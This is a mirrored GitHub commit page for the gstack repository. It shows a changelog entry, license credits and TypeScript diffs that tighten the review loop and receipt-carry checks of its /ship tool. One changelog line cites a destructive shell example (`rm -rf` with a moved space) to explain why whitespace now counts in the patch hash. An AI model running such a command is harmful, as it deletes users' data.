mirror of
https://github.com/garrytan/gstack.git
synced 2026-10-31 22:14:25 +01:00
fix: pre-landing review fixes (pass 1) and the review-loop budget wording
Two blocking findings from /ship's own pass 1, both reproduced in the QA smoke before the fix: gstack-ship-receipt carry hashed the product diff with git patch-id --stable, which strips whitespace, so a space moved in a reviewed shell line carried as "no product change"; and it classed package.json and every lockfile as release metadata, so a dependency swap carried too. The patch-id is now --verbatim, package.json and VERSION are metadata only while the change is a version stamp (lib/pregate/stamp-only.ts), lockfiles are product unless the policy names them, the test globs name code extensions, a dirty working tree refuses before anything is compared, and a receipt carried twice keeps the reviewed head as carry.from. gstack-review-scope: an unresolvable base is POLICY_SOURCE_UNAVAILABLE instead of a silent working-tree read; --range-base is validated; git runs with core.quotePath=false; range_base is null on pass 1; a blocking finding with no path is fix; category "testing" is a test finding below the floor; defer searches once, files nothing on a failed search and exits 0 unfiled; summary refuses zero matching passes and the receipt write is chained to it with &&; a finding the diff causes elsewhere names the changed line in `cause` and classify follows it. Review-loop budget wording (ideas from tstack's sol-loop and pstack's interrogate, rewritten; NOTICE.md): the blocker / should / nit glossary and two stop rules in Step 9.4, the checklist and docs/review-policy.md; a lead-judgment stage in the finding merge both /review and /ship render. The core read diffs $RANGE_BASE from pass 2 on. Caps and pins re-measured with reasons. Step 7 coverage audit: four tests added in existing files, the --review-loop case moved to its own test (the shared test tripped bun's 5 s default). Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
This commit is contained in:
1 parent
6f5782b5fd
commit
c3e27fc2b8
22 files changed
+807
-153
No files matched your search
@@ -9,20 +9,26 @@
|
||||
- **`lib/review-scope.ts`, `bin/gstack-review-scope`** (`classify`, `defer`, `render`, `summary`): each finding gets a `locus` (`diff`, `fix-range`, `outside`; a hunk plus three context lines), a `kind`, `blocking` (a CRITICAL defect: a test that would fail, a production break, a security or data-loss defect) and a `scope`: `fix`, `defer` (a blocking finding in code the PR did not change, filed as a GitHub issue reused through a `<!-- gstack-deferred-finding: <fingerprint> -->` marker, `unfiled (<reason>)` without `gh`) or `note`. `render` writes the PR body's `## Deferred findings` and `## Review notes` sections; `summary --since <REVIEW_SINCE>` reads this invocation's review-log rows into the receipt's `review_loop` counters. Refusals end in `REVIEW_SCOPE_INPUT` or `REVIEW_SCOPE_RANGE`.
|
||||
- **`.gstack/ship-policy.json` `review_scope`** (`frozen` | `diff-plus-blocking` | `all`, default `frozen`, since 1.91.249.0; a non-default value needs `min_gstack_version`): the blocking floor is owner-approved (Garry, 2026-10-26: "Ok set it at that"); `diff-plus-blocking` is the documented fallback that fixes a blocking finding in unchanged code in this PR instead of filing it, and `all` is the earlier loop, every finding fixed on every pass. `show-effective` prints the choice as a `ship: review_scope …` line ([docs/ship-policy.md#review-scope](docs/ship-policy.md#review-scope)).
|
||||
- **`gstack-ship-receipt carry (--pr <n> | --body <file>) --base <base> [--dry-run] [--json]`**: moves the receipt to HEAD when the receipt head is an ancestor of HEAD and the product diff against the base has the same `git patch-id` at both heads; tests (`CARRY_TEST_GLOBS`), release metadata (`CARRY_METADATA_GLOBS`) and the base merge's own commits may differ. The carried receipt records `carry: { from, reason, product_patch_id, changed_paths, merge_commits, range_diff, covers, reruns }`, prints `CARRY: carried from <old> to <new> (<reason>)` and the `GSTACK_RESULT` line, and its summary line ends `carried_from=<old12>`. A product change is `RECEIPT_CARRY_PRODUCT_CHANGED` (exit 3, naming the paths); a rebased or missing receipt is `RECEIPT_CARRY_REFUSED`. `write` takes `--review-loop <json|@file>`; `ShipReceipt` gains optional `review_loop` and `carry` with schema ([docs/ship-policy.md#receipt-carry](docs/ship-policy.md#receipt-carry), [docs/unattended.md](docs/unattended.md#the-terminal-line)).
|
||||
- **Severity glossary and lead judgment** (ideas absorbed from tstack's sol-loop and pstack's interrogate, rewritten; NOTICE.md): `docs/review-policy.md`, `ship/sections/review-army.md` Step 9.4 and `review/checklist.md` budget the loop by three words (a **blocker** is the intended case gone wrong, the floor; a **should** is a real bug a caller will hit inside the intended case, fixed in the diff on pass 1 and deferred otherwise; a **nit** is the rest, a named note) and carry two stop rules (fixes that grew the diff past the request are cut first; the cap approves nothing, so a standing blocker is reported). The finding merge both /review and /ship render (`scripts/resolvers/review-army.ts`) gains stage 4, lead judgment: nit gravity, hypothetical versus actual, structure for a case nothing takes, a different design is not a defect, missing context; independent agreement is the strongest signal and a reviewer's `NO FINDINGS` stands until a traced defect says otherwise. Every specialist prompt accepts an optional `cause` ({path, line}): a defect the diff causes in code it did not change (a broken caller, a consumer of a removed export) keeps the victim as `path` and the changed line in `cause`, and `classify` follows the anchor, so the finding is the diff's to fix rather than deferred to an issue.
|
||||
|
||||
### Changed
|
||||
- **`ship/sections/review-army.md` Step 9**: first entry saves `REVIEW_SINCE` and the `review_scope` line; every entry saves `PASS_HEAD`, and from pass 2 `RANGE_BASE` is the previous pass's head, so every prompt the step diffs from the merge base (specialists, Red Team, the outside voice in the adversarial section) reads `RANGE_BASE..HEAD` under `frozen`. Step 9.4 item 0 classifies the pass's findings, item 1 queues only `scope: fix`, item 3.5 defers and renders, and the summary line adds `D deferred, O noted`. Decision 2 keeps the three-cycle fix cap and adds the pass cap: a blocking finding still in `fix` scope on pass 3 stops for the owner with the finding named; a pass whose remaining findings are all below the floor applies no edits and ships through decision 4. The review-log row gains `pass`, `review_scope` and `range_base`.
|
||||
- **Specialist and Red Team prompts** (`scripts/resolvers/review-army.ts`, both /review and /ship): `NO FINDINGS` alone is the expected, complete result for a clean diff and never a failed reviewer; CRITICAL is defined as the blocking floor and everything else is INFORMATIONAL. Shared prose was tightened by the same number of bytes, so /review's generated size is unchanged on every host.
|
||||
- **`ship/sections/pr-body.md`**: the body carries the `## Deferred findings` and `## Review notes` sections verbatim from `render`, and the receipt write runs after `gstack-review-scope summary`.
|
||||
- **`ship/SKILL.md` Step 1**: item 4, the carry check, runs `gstack-ship-receipt carry --pr <n> --base <base>` when the branch has an open PR; `CARRY: carried` ends the run with the receipt bound to HEAD.
|
||||
- **`gstack-ship-receipt carry`, after its own pre-landing review** (two blocking findings reproduced in the QA smoke before the fix): the product patch-id is `git patch-id --verbatim`, so a whitespace-only edit to a reviewed line (`rm -rf "$DIR"/x` → `rm -rf "$DIR" /x`) is a product change; `package.json` and `VERSION` are release metadata only while the from..head change is a version stamp and nothing else (`lib/pregate/stamp-only.ts`), so a dependency, a script or a new key is product; lockfiles left the default metadata list (product unless the policy's `stamp_files`/`stamp_paths` name them); the test globs name code extensions (`**/*.test.ts`, `**/*.spec.rb`, …), so an `openapi.spec.yaml` is product; a working tree with uncommitted changes is `RECEIPT_CARRY_REFUSED` before anything is compared (the carry binds HEAD alone, and a parent that stops at `CARRY: carried` would otherwise report pending edits as shipped); a receipt carried twice keeps the reviewed head as `carry.from` and adds up the hops' merges and paths; the per-path comparison stops at the 20 paths the refusal names and the advisory `git range-diff` gets 15 s; `carry.reruns` says that test and helper code changed since the reviewed head runs in CI unreviewed.
|
||||
- **`gstack-review-scope`**: `classify` refuses an unresolvable base with `POLICY_SOURCE_UNAVAILABLE` instead of reading the working tree's policy silently (pass `--policy` to classify without the base), validates `--range-base` as a commit id, runs git with `core.quotePath=false` so a non-ASCII changed path matches its finding, and records `range_base: null` on pass 1; a blocking finding with no path is `fix`, never an issue against `(no path)`; the Testing specialist's `category: testing` is a test finding below the floor (`TEST_GAP_CATEGORIES`), as the policy says; `defer` searches once for every marker before creating anything and files nothing when the search fails (a rate-limited rerun cannot duplicate issues), and exits 0 with `unfiled (<reason>)` lines (the documented degraded path); `summary` refuses with `REVIEW_SCOPE_INPUT` when no via-ship review pass matches `--since`, and `ship/sections/pr-body.md` chains it to the receipt write with `&&` after removing the previous loop file, so a receipt cannot record a loop that did not happen.
|
||||
- **`ship/sections/review-army.md` pass 2 range**: the core checklist read (item 2) also diffs `$RANGE_BASE` from pass 2 on, as the dispatched prompts already did; the gate scan and the QA probes keep the whole candidate. `docs/review-policy.md` and `docs/ship-policy.md` say so, and name the release that added `review_scope` through `REVIEW_SCOPE_KEY_VERSION` instead of repeating the number.
|
||||
|
||||
### Tests
|
||||
- `test/review-scope.test.ts`: hunk parsing and locus with context, the blocking floor, `fix`/`defer`/`note` on pass 1 and pass 2 with a range base, the `all` policy, deferred-issue reuse through the marker and the unfiled path, the rendered sections and the summary counters.
|
||||
- `test/gstack-ship-receipt.test.ts`: a base merge and a test-only change carry (receipt names HEAD, `carry` holds the range-diff, the summary line ends `carried_from=`); a product change is `RECEIPT_CARRY_PRODUCT_CHANGED` exit 3 naming the path; a non-ancestor head is `RECEIPT_CARRY_REFUSED`; `--review-loop` lands in the receipt and its summary line.
|
||||
- `test/gstack-ship-policy.test.ts`: the `ship: review_scope frozen` consequence line, `all` or `diff-plus-blocking` without `min_gstack_version` and an unknown value are `POLICY_INVALID`. `test/review-fix-range.test.ts` asserts the Step 9 prose (PASS_HEAD, RANGE_BASE, classify, the cap rule).
|
||||
- `test/review-loop-budget-wording.test.ts` (new): the glossary, the stop rules, the lead-judgment stage in both review armies, the `cause` anchor in every specialist prompt, and that `docs/review-policy.md` repeats no version number. `test/review-scope.test.ts`: a non-ASCII changed path classifies as `diff/fix`; `cause` anchors; an unplaced blocking finding is `fix`; `category: testing` is a test gap (asserted against `review/specialists/testing.md`'s schema line); `--pass 0`, `--policy loose`, an option-shaped `--range-base` and a non-array `render --deferred` refuse; an unresolvable base is `POLICY_SOURCE_UNAVAILABLE`; `defer` lists once, files nothing on a failed search and exits 0 unfiled; `summary` refuses zero passes. `test/gstack-ship-receipt.test.ts`: a whitespace-only edit to a reviewed line and a dirty tree refuse; a lockfile edit and a package.json dependency or script change refuse by path while a version-only stamp carries; a receipt carried twice keeps the reviewed head; the `classifyCarryPath` rows for lockfiles, `.spec.yaml`, stamp-only and non-stamp manifests.
|
||||
|
||||
### Gate integrity
|
||||
- No threshold, timeout, trial count or case kind changed. The ship parity `maxSizeRatio` in `test/helpers/carve-guards.ts` moves 1.6740 → 1.7010 (measured 319,071 / 187,706 = 1.6998) and `maxSkeletonBytes` 81,600 → 82,700 (measured 82,645) for Step 1's carry check, Step 9's scope prose and the skeleton's Review policy paragraph. The gstack-review host pins in `test/fixtures/skill-md-size-allowlist.json` go up by 250 characters on all eight pinned hosts (agy, codex, copilot, cursor, factory, kiro, opencode, slate) for the three-line policy statement in Step 4; the resolver prose that renders into those hosts was trimmed by the same number of bytes it gained for the `NO FINDINGS` and floor sentences. Owner decision for the pin raise: Garry, 2026-10-26, "Gstack should be the actual holder of how to do things not one off Capy files".
|
||||
- Pass-1 review fixes raised the same two caps again, each with its measurement: ship `maxSizeRatio` 1.7010 → 1.7150 (measured 321,630 / 187,706 = 1.7135) for the lead-judgment stage, the `cause` anchor, the glossary, the stop rules and pass 2's core read; review `maxSizeRatio` 1.2960 → 1.3100 (measured 141,949 / 108,523 = 1.3080) for the shared lead-judgment stage and `cause` anchor. The gstack-review pins on the five hosts that inline the review-army section (cursor, factory, kiro, opencode, slate) go up by 1,396 characters each to their exact rendered sizes; agy, codex and copilot carve the section and are unchanged. The owner's standing decision for these raises is the one that opened the lane (GStack Minder, 2026-10-26: the two wording contributions are inside the "too overzealous" ruling, and a cap raise with a stated reason is the lane's to make). `test/review-workflow-clarity.test.ts`'s merge-stage marker list follows the new stage numbering (eight stages; the Red Team reruns 1–8); no assertion was weakened. `test/review-scope.test.ts`'s `defer` expectation moved from exit 3 to exit 0 because the contract moved (the prose always said `unfiled` keeps the finding deferred), and its `summary` zero-pass expectation from a zero record to a refusal, both by decision, not to pass.
|
||||
|
||||
## [1.91.248.0] - 2026-10-26
|
||||
|
||||
|
||||
@@ -58,3 +58,22 @@ https://github.com/google-labs-code/design.md
|
||||
`design-consultation/sections/proposal-and-preview.md.tmpl` implement the
|
||||
format (YAML token front matter in five groups, eight canonical sections in
|
||||
spec order, `{path}` token references). No specification text is reproduced.
|
||||
|
||||
## tstack — Copyright Theo Browne — MIT License
|
||||
|
||||
https://github.com/t3dotgg/tstack (`skills/sol-loop`, at 7de017b3). Ideas, not text: the
|
||||
three-word severity glossary (blocker, should, nit) and the two stop rules (a review that
|
||||
grew the diff cuts first; the end of the budget is not approval) in
|
||||
`ship/sections/review-army.md.tmpl`, `review/checklist.md` and `docs/review-policy.md`
|
||||
are written in gstack's words and mapped onto gstack's blocking floor. No sentence is copied,
|
||||
so no license text is carried; this entry is a courtesy.
|
||||
|
||||
## pstack — Copyright Lauren Tan — MIT License
|
||||
|
||||
https://github.com/cursor/plugins (`pstack/skills/interrogate`, `lead-judgment.md`). Ideas,
|
||||
not text: the lead-judgment filters applied before a merged review finding counts (nit
|
||||
gravity, hypothetical versus actual, structure for a case that does not exist, a different
|
||||
design is not a defect, missing context; independent agreement as the strongest signal;
|
||||
`NO FINDINGS` as a correct result) in `scripts/resolvers/review-army.ts` stage 4 and
|
||||
`docs/review-policy.md` are written in gstack's words. No sentence is copied, so no license
|
||||
text is carried; this entry is a courtesy.
|
||||
+29
-17
@@ -23,10 +23,10 @@ import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
|
||||
import { resultLineWithDocs } from '../lib/result-codes';
|
||||
import { isUnavailable, loadPolicyFromBase, loadPolicyFromHead, resolveBaseBranch } from '../lib/ship-policy';
|
||||
import { isUnavailable, loadPolicyFromBase, policyUnavailableLine, resolveBaseBranch } from '../lib/ship-policy';
|
||||
import {
|
||||
parseHunks, renderDeferredIssue, renderDeferredSection, reviewLoopLine, scopeFindings, scopeLine, summarizeReviewLoop,
|
||||
findingIdentity, findingWhere, REVIEW_SCOPE_POLICIES, type DeferredRecord, type ReviewScopePolicy, type ScopeFinding, type ScopedFinding,
|
||||
DEFERRED_MARKER, findingIdentity, findingWhere, REVIEW_SCOPE_POLICIES, type DeferredRecord, type ReviewScopePolicy, type ScopeFinding, type ScopedFinding,
|
||||
} from '../lib/review-scope';
|
||||
|
||||
const HELP = `gstack-review-scope — finding scope for /ship's review loop (docs/ship-policy.md#review-scope)
|
||||
@@ -51,7 +51,8 @@ function flag(args: string[], name: string): string | undefined {
|
||||
return i >= 0 ? args[i + 1] : undefined;
|
||||
}
|
||||
function git(args: string[], cwd: string): { ok: boolean; out: string; err: string } {
|
||||
const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
// quotePath off: a non-ASCII path must come back as itself, not as "caf\303\251.ts", or the hunk map never matches the finding.
|
||||
const r = spawnSync('git', ['-c', 'core.quotePath=false', ...args], { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
return { ok: r.status === 0, out: r.stdout ?? '', err: (r.stderr ?? '').trim() };
|
||||
}
|
||||
function gh(args: string[], cwd: string): { ok: boolean; out: string; err: string } {
|
||||
@@ -83,7 +84,9 @@ function cmdClassify(rest: string[], json: boolean): number {
|
||||
policy = policyFlag;
|
||||
} else {
|
||||
const load = loadPolicyFromBase(repoRoot, base);
|
||||
policy = (isUnavailable(load) ? loadPolicyFromHead(repoRoot) : load).policy.review_scope;
|
||||
// The reviewed policy is the base's; the working tree's copy is never read silently (pass --policy to override).
|
||||
if (isUnavailable(load)) { process.stderr.write(policyUnavailableLine('gstack-review-scope classify', base, `${load.detail}; pass --policy to classify without the base`) + '\n'); return EXIT.refused; }
|
||||
policy = load.policy.review_scope;
|
||||
}
|
||||
let findings: ScopeFinding[];
|
||||
try { findings = readFindings(flag(rest, '--findings'), 'findings'); } catch (e: any) { return refuse('classify', 'REVIEW_SCOPE_INPUT', e.message); }
|
||||
@@ -96,6 +99,7 @@ function cmdClassify(rest: string[], json: boolean): number {
|
||||
const diffHunks = parseHunks(diff.out, untracked);
|
||||
let rangeHunks = null;
|
||||
const rangeBase = flag(rest, '--range-base');
|
||||
if (rangeBase !== undefined && !/^[0-9a-f]{7,64}$/i.test(rangeBase)) return refuse('classify', 'REVIEW_SCOPE_INPUT', `--range-base must be a commit id, got ${JSON.stringify(rangeBase.slice(0, 40))}`);
|
||||
if (pass > 1) {
|
||||
if (!rangeBase) return refuse('classify', 'REVIEW_SCOPE_INPUT', '--range-base <sha> (HEAD at the start of the previous pass) is required from pass 2 on');
|
||||
const ancestor = git(['merge-base', '--is-ancestor', rangeBase, 'HEAD'], repoRoot);
|
||||
@@ -107,7 +111,7 @@ function cmdClassify(rest: string[], json: boolean): number {
|
||||
const scoped = scopeFindings(findings, { policy, pass, diffHunks, rangeHunks });
|
||||
const line = scopeLine(policy, pass, scoped);
|
||||
process.stderr.write(line + '\n');
|
||||
process.stdout.write(json ? JSON.stringify({ policy, pass, range_base: rangeBase ?? null, findings: scoped }) + '\n' : line + '\n' + JSON.stringify(scoped, null, 2) + '\n');
|
||||
process.stdout.write(json ? JSON.stringify({ policy, pass, range_base: pass > 1 ? rangeBase : null, findings: scoped }) + '\n' : line + '\n' + JSON.stringify(scoped, null, 2) + '\n');
|
||||
return EXIT.ok;
|
||||
}
|
||||
|
||||
@@ -126,18 +130,24 @@ function cmdDefer(rest: string[], json: boolean): number {
|
||||
head: git(['rev-parse', 'HEAD'], repoRoot).out.trim() || undefined,
|
||||
};
|
||||
const dryRun = rest.includes('--dry-run');
|
||||
// One search for every marker, before any create: a failed search files nothing, so a rate-limited rerun cannot duplicate issues.
|
||||
let filed: Array<{ number: number; url: string; body: string }> | null = null;
|
||||
let searchError = '';
|
||||
if (!dryRun && toDefer.length) {
|
||||
const existing = gh(['issue', 'list', ...repoArgs, '--state', 'open', '--search', `"${DEFERRED_MARKER}" in:body`, '--json', 'number,url,body', '--limit', '200'], repoRoot);
|
||||
if (existing.ok) { try { filed = JSON.parse(existing.out); } catch { searchError = 'gh issue list returned no JSON'; } }
|
||||
else searchError = `gh issue list failed: ${(existing.err || 'unknown').split('\n')[0]!.slice(0, 160)}`;
|
||||
if (!Array.isArray(filed)) filed = null;
|
||||
}
|
||||
const records: DeferredRecord[] = [];
|
||||
for (const f of toDefer) {
|
||||
const { title, body, marker } = renderDeferredIssue(f, ctx);
|
||||
const record: DeferredRecord = { fingerprint: findingIdentity(f), path: findingWhere(f), severity: String(f.severity ?? 'unrated'), summary: String(f.summary ?? f.problem ?? f.category ?? ''), issue: null };
|
||||
if (dryRun) { record.reason = 'dry run'; records.push(record); continue; }
|
||||
const existing = gh(['issue', 'list', ...repoArgs, '--state', 'open', '--search', `"${marker.replace(/<!--\s*|\s*-->/g, '').trim()}" in:body`, '--json', 'number,url,body', '--limit', '20'], repoRoot);
|
||||
if (existing.ok) {
|
||||
try {
|
||||
const hit = (JSON.parse(existing.out) as Array<{ number: number; url: string; body: string }>).find(i => typeof i.body === 'string' && i.body.includes(marker));
|
||||
if (hit) { record.issue = hit.number; record.url = hit.url; record.reason = 'already filed'; records.push(record); continue; }
|
||||
} catch { /* fall through to create */ }
|
||||
}
|
||||
records.push(record);
|
||||
if (dryRun) { record.reason = 'dry run'; continue; }
|
||||
if (!filed) { record.reason = searchError; continue; }
|
||||
const hit = filed.find(i => typeof i.body === 'string' && i.body.includes(marker));
|
||||
if (hit) { record.issue = hit.number; record.url = hit.url; record.reason = 'already filed'; continue; }
|
||||
const bodyFile = path.join(fs.mkdtempSync(path.join(process.env.TMPDIR ?? '/tmp', 'gstack-deferred-')), 'issue.md');
|
||||
fs.writeFileSync(bodyFile, body, { mode: 0o600 });
|
||||
const created = gh(['issue', 'create', ...repoArgs, '--title', title, '--body-file', bodyFile], repoRoot);
|
||||
@@ -146,15 +156,15 @@ function cmdDefer(rest: string[], json: boolean): number {
|
||||
const url = created.out.trim().split('\n').pop() ?? '';
|
||||
const n = Number(/\/issues\/(\d+)\s*$/.exec(url)?.[1]);
|
||||
if (Number.isInteger(n)) { record.issue = n; record.url = url; } else record.reason = `gh returned no issue url: ${url.slice(0, 120)}`;
|
||||
} else record.reason = `gh issue create failed: ${(created.err || existing.err || 'unknown').split('\n')[0]!.slice(0, 160)}`;
|
||||
records.push(record);
|
||||
} else record.reason = `gh issue create failed: ${(created.err || 'unknown').split('\n')[0]!.slice(0, 160)}`;
|
||||
}
|
||||
// Unfiled is the documented degraded path, not a failure: the finding stays deferred and the PR body names the reason.
|
||||
for (const r of records) process.stderr.write(`DEFERRED: ${r.issue ? `#${r.issue}` : `unfiled (${r.reason ?? 'no gh'})`} ${r.severity} ${r.path}\n`);
|
||||
if (!records.length) process.stderr.write('DEFERRED: none\n');
|
||||
const out = flag(rest, '--out');
|
||||
if (out) fs.writeFileSync(out, JSON.stringify(records, null, 2) + '\n');
|
||||
process.stdout.write(json ? JSON.stringify(records) + '\n' : renderDeferredSection(records, [], 'frozen'));
|
||||
return records.some(r => r.issue === null && r.reason !== 'dry run') ? EXIT.refused : EXIT.ok;
|
||||
process.stdout.write(json ? JSON.stringify(records) + '\n' : renderDeferredSection(records));
|
||||
return EXIT.ok;
|
||||
}
|
||||
|
||||
function cmdRender(rest: string[]): number {
|
||||
@@ -183,6 +193,8 @@ function cmdSummary(rest: string[], json: boolean): number {
|
||||
}
|
||||
const summary = summarizeReviewLoop(rows, since);
|
||||
const line = reviewLoopLine(summary);
|
||||
// A /ship invocation always runs Step 9 once; zero matching rows means the wrong --since or a review log written elsewhere, never a loop to record.
|
||||
if (summary.passes === 0) return refuse('summary', 'REVIEW_SCOPE_INPUT', `no review-log row of this branch is a via:ship review at or after ${since}; check REVIEW_SINCE (${line})`);
|
||||
process.stderr.write(line + '\n');
|
||||
const out = flag(rest, '--out');
|
||||
if (out) fs.writeFileSync(out, JSON.stringify(summary) + '\n');
|
||||
|
||||
+35
-15
@@ -38,9 +38,9 @@ import { readPregateFile, verifyPregate } from '../lib/pregate/index';
|
||||
import { isUnavailable, loadPolicyFromBase, resolveBaseBranch } from '../lib/ship-policy';
|
||||
import { approvalForReceipt } from '../lib/approval-citations';
|
||||
import {
|
||||
CARRY_METADATA_GLOBS as CARRY_METADATA_GLOBS_EXPORT, CARRY_TEST_GLOBS as CARRY_TEST_GLOBS_EXPORT,
|
||||
CARRY_METADATA_GLOBS, CARRY_TEST_GLOBS,
|
||||
bindReceipt, carryReceipt, classifyCarryPath, computeCensus, extractReceipt, missingIssueLines, orderReceipt, parseReviewLoop, placeReceiptFirst, planCarry,
|
||||
receiptIssuesFrom, receiptSummaryLine, renderCensus, renderReceiptBlock, validateReceipt, type CarryClass, type CensusPr,
|
||||
receiptIssuesFrom, receiptSummaryLine, renderCensus, renderReceiptBlock, validateReceipt, type CensusPr,
|
||||
} from '../lib/ship-receipt';
|
||||
import { resolveStateRoot } from '../lib/state-root';
|
||||
|
||||
@@ -281,12 +281,17 @@ function writeRunRecord(a: { receipt: ShipReceipt; head: string; pr: string | un
|
||||
return EXIT.ok;
|
||||
}
|
||||
|
||||
/** One diff's stable patch-id over a pathspec; empty when the diff is empty. */
|
||||
/**
|
||||
* One diff's patch-id over a pathspec; empty when the diff is empty. `--verbatim`
|
||||
* keeps whitespace in the hash (the default and `--stable` strip it, so a space
|
||||
* moved in a shell line would read as the same patch) while still ignoring the
|
||||
* hunk line numbers a base merge shifts.
|
||||
*/
|
||||
function patchId(repoRoot: string, from: string, to: string, pathspec: string[]): string | undefined {
|
||||
const diff = spawnSync('git', ['diff', '--no-color', '--no-ext-diff', '--full-index', from, to, '--', ...pathspec], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 256 * 1024 * 1024 });
|
||||
if (diff.status !== 0) return undefined;
|
||||
if (!diff.stdout.trim()) return '';
|
||||
const id = spawnSync('git', ['patch-id', '--stable'], { cwd: repoRoot, input: diff.stdout, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
const id = spawnSync('git', ['patch-id', '--verbatim'], { cwd: repoRoot, input: diff.stdout, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
if (id.status !== 0) return undefined;
|
||||
return id.stdout.trim().split(/\s+/)[0] ?? '';
|
||||
}
|
||||
@@ -349,6 +354,11 @@ function cmdCarry(rest: string[], json: boolean): number {
|
||||
}
|
||||
const ancestor = spawnSync('git', ['merge-base', '--is-ancestor', from, head], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000 });
|
||||
if (ancestor.status !== 0) return refused('RECEIPT_CARRY_REFUSED', `the receipt's head ${from.slice(0, 12)} is not an ancestor of HEAD ${head.slice(0, 12)} (rebased or force-pushed); merge the base in next time, and run /ship now`);
|
||||
// The carry binds HEAD alone: pending edits are not in the commits it compares, and a parent that stops at CARRY: carried would report them shipped.
|
||||
const status = spawnSync('git', ['status', '--porcelain', '--untracked-files=all'], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 });
|
||||
if (status.status !== 0) return refused('RECEIPT_CARRY_REFUSED', 'git status failed; the carry needs a readable working tree');
|
||||
const dirty = status.stdout.split('\n').filter(Boolean).map(l => l.slice(3).replace(/^.* -> /, ''));
|
||||
if (dirty.length) return refused('RECEIPT_CARRY_REFUSED', `the working tree has uncommitted changes (${dirty.slice(0, 5).join(', ')}${dirty.length > 5 ? ` +${dirty.length - 5} more` : ''}); commit them and carry at the new head, or run /ship`);
|
||||
const base = flag(rest, '--base') ?? receipt.base ?? resolveBaseBranch(repoRoot);
|
||||
const baseRef = `origin/${base.replace(/^origin\//, '')}`;
|
||||
const fromBase = git(['merge-base', baseRef, from], repoRoot);
|
||||
@@ -359,24 +369,34 @@ function cmdCarry(rest: string[], json: boolean): number {
|
||||
const extra = { metadata: [...(policy?.stamp_files ?? []), ...(policy?.stamp_paths ?? []), ...(policy?.release_outputs ?? []), ...(policy?.changelog ? [policy.changelog] : [])] };
|
||||
const changedRaw = git(['diff', '--name-only', from, head], repoRoot);
|
||||
if (changedRaw === undefined) return refused('RECEIPT_CARRY_REFUSED', `git diff ${from.slice(0, 12)} ${head.slice(0, 12)} failed`);
|
||||
const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra) as CarryClass }));
|
||||
// A default-metadata manifest is read at both heads: only a version stamp keeps it out of the product patch.
|
||||
const blobAt = (ref: string, p: string): string | null => { const r = spawnSync('git', ['show', `${ref}:${p}`], { cwd: repoRoot, encoding: 'utf8', timeout: 30_000, maxBuffer: 16 * 1024 * 1024 }); return r.status === 0 ? r.stdout : null; };
|
||||
const changed = changedRaw.split('\n').filter(Boolean).map(p => ({ path: p, class: classifyCarryPath(p, extra, CARRY_METADATA_GLOBS.includes(p) ? { before: blobAt(from, p), after: blobAt(head, p) } : undefined) }));
|
||||
// Pathspecs by class: tests and metadata are excluded from the product patch; the test patch is the tests alone.
|
||||
const excludeGlobs = (globs: readonly string[]) => globs.map(g => `:(exclude,glob)${g}`);
|
||||
const metadataGlobs = [...CARRY_METADATA_GLOBS_EXPORT, ...extra.metadata];
|
||||
const productSpec = ['.', ...excludeGlobs(CARRY_TEST_GLOBS_EXPORT), ...excludeGlobs(metadataGlobs)];
|
||||
const testSpec = [...CARRY_TEST_GLOBS_EXPORT.map(g => `:(glob)${g}`), ...excludeGlobs(metadataGlobs)];
|
||||
const demoted = new Set(changed.filter(c => c.class === 'product' && CARRY_METADATA_GLOBS.includes(c.path)).map(c => c.path));
|
||||
const metadataGlobs = [...CARRY_METADATA_GLOBS.filter(g => !demoted.has(g)), ...extra.metadata];
|
||||
const productSpec = ['.', ...excludeGlobs(CARRY_TEST_GLOBS), ...excludeGlobs(metadataGlobs)];
|
||||
const testSpec = [...CARRY_TEST_GLOBS.map(g => `:(glob)${g}`), ...excludeGlobs(metadataGlobs)];
|
||||
const productFrom = patchId(repoRoot, fromBase, from, productSpec);
|
||||
const productHead = patchId(repoRoot, headBase, head, productSpec);
|
||||
const testFrom = patchId(repoRoot, fromBase, from, testSpec) ?? '';
|
||||
const testHead = patchId(repoRoot, headBase, head, testSpec) ?? '';
|
||||
if (productFrom === undefined || productHead === undefined) return refused('RECEIPT_CARRY_REFUSED', 'git could not compute the product patch-id at one of the heads');
|
||||
const changedProduct = productFrom === productHead ? [] : changed.filter(c => c.class === 'product').map(c => c.path)
|
||||
.filter(p => patchId(repoRoot, fromBase, from, [p]) !== patchId(repoRoot, headBase, head, [p]));
|
||||
if (productFrom !== productHead && !changedProduct.length) changedProduct.push('(a product path outside the from..head file list; compare the two base diffs)');
|
||||
// planCarry names at most 20 differing paths, so the per-path comparison (two patch-ids each) stops there.
|
||||
const changedProduct: string[] = [];
|
||||
if (productFrom !== productHead) {
|
||||
for (const p of changed.filter(c => c.class === 'product').map(c => c.path)) {
|
||||
if (changedProduct.length >= 20) break;
|
||||
if (patchId(repoRoot, fromBase, from, [p]) !== patchId(repoRoot, headBase, head, [p])) changedProduct.push(p);
|
||||
}
|
||||
if (!changedProduct.length) changedProduct.push('(a product path outside the from..head file list; compare the two base diffs)');
|
||||
}
|
||||
const mergeCommits = (git(['rev-list', '--merges', '--count', `${from}..${head}`], repoRoot) ?? '0').trim();
|
||||
const rangeRaw = spawnSync('git', ['range-diff', '--no-color', `${fromBase}..${from}`, `${headBase}..${head}`], { cwd: repoRoot, encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
const rangeDiff = rangeRaw.status === 0 ? (rangeRaw.stdout.trim().split('\n').slice(0, 20).join('\n') || '(empty: identical ranges)') : `unavailable: ${(rangeRaw.stderr ?? '').trim().split('\n')[0] ?? 'range-diff failed'}`;
|
||||
const plan = planCarry({ from, head, fromBase, headBase, changed, productPatchId: { from: productFrom, head: productHead }, testPatchId: { from: testFrom, head: testHead }, changedProduct, mergeCommits: Number(mergeCommits) || 0, rangeDiff });
|
||||
